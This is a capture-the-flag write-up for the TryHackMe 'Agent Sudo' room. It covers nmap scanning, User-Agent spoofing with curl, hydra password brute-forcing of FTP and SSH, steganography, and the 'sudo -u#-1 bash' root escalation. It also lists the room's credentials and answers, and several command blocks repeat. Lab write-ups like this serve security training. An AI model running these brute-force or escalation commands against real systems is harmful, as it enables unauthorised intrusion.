Agent Sudo — TryHackMe

Room Link: https://tryhackme.com/room/agentsudoctf

Used Nmap to know the opened ports:

nmap -A -sS 10.113.187.160

nmap -A -sS 10.113.187.160

The result identified three open ports: FTP on 21, SSH on 22, and HTTP on 80.

Web Enumeration

Used curl tool to get the content of the page

curl http://10.113.187.160

curl http://10.113.187.160

This gave me a clue that changing the User-Agent value might help me discover something. The "Agent R" at the end also hinted that changing the User-Agent using different letters could lead me to the answer.

More Info for understanding: what's user-agent?

User-Agent is one of the HTTP request headers. It tells the server what browser/device you claim to use.

curl -A "A" -L http://10.113.187.160

Notes:
-A: is used to change the user-agent,
-L: tells curl to follow redirects automatically
 if the server sends you to a different URL.

curl -A "A" -L http://10.113.187.160

Notes:
-A: is used to change the user-agent,
-L: tells curl to follow redirects automatically
 if the server sends you to a different URL.

This means that now we have a username (chris) and that his password is weak and we have two open services ftp and ssh, let's try to brute force these two services using hydra…

hydra -l chris -P /usr/share/wordlists/rockyou.txt 10.113.187.160 ftp

hydra -l chris -P /usr/share/wordlists/rockyou.txt 10.113.187.160 ssh

hydra -l chris -P /usr/share/wordlists/rockyou.txt 10.113.187.160 ftp

hydra -l chris -P /usr/share/wordlists/rockyou.txt 10.113.187.160 ssh

Now we have:

username: chris , password: crystal

let's navigate:

//Took the files to my machine
get To_agentJ.txt
get cute-alien.jpg
get cutie.png

//Took the files to my machine
get To_agentJ.txt
get cute-alien.jpg
get cutie.png

This means that the password is hidden inside the images

Used binwalk tool, this tool shows if there is data inside image (Stegnography):

using binwalk didn't show any data. so, decided to use another tool: steghide

Let's try using this username & password for SSH:

username: james , password: hackerrules!

Privilege Escalation:

Exploit:
sudo -u#-1 bash

Exploit:
sudo -u#-1 bash

Navigate to find the root flag:

Found the name of the agent R: Deskel